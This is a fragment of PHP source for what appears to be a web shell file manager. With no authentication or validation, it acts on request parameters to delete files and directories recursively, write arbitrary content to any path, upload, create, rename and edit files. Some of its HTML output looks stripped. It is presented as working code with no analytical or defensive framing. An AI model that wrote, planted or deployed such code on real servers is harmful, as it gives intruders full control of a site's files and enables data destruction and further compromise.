current","/"]; foreach($parts as $d){ if($d==='') continue; $cur .= "/$d"; $out[] = "".h($d).""; } return implode(' / ', $out); } /* DELETE */ function del($x){ if(is_dir($x)){ foreach(scandir($x) as $f) if($f!='.'&&$f!='..') del("$x/$f"); @rmdir($x); } else @unlink($x); } /* ACTION */ if(isset($_GET['x'])) del($_GET['x']); if(isset($_POST['sf'])) file_put_contents($_POST['ff'],$_POST['c']); if(isset($_POST['d'])) @mkdir("$p/".$_POST['d']); if(isset($_POST['nf'])) file_put_contents("$p/".$_POST['nf'],''); if(isset($_FILES['u'])){ @move_uploaded_file($_FILES['u']['tmp_name'],$p.'/'.$_FILES['u']['name']) || @copy($_FILES['u']['tmp_name'],$p.'/'.$_FILES['u']['name']); } /* RENAME ACTION */ if(isset($_POST['rf']) && isset($_POST['rn'])){ @rename($_POST['rf'], dirname($_POST['rf']).'/'.$_POST['rn']); } /* EDIT FILE */ if(isset($_GET['e'])){ $f=$_GET['e']; echo ""; echo "

".h($f)."


"; exit; } /* RENAME UI */ if(isset($_GET['r'])){ $f=$_GET['r']; echo ""; echo "

Rename: ".h($f)."



"; exit; } /* UI */ echo ""; echo "PATH: ".breadcrumb($p)."

"; if($p!='/'){ echo "[..]

"; } foreach(scandir($p) as $f){ if($f=='.'||$f=='..') continue; $fp="$p/$f"; if(is_dir($fp)){ echo "[D] ".h($f).""; } else { echo "[F] ".h($f)." e"; } echo " r x
"; } echo "
dir
file
";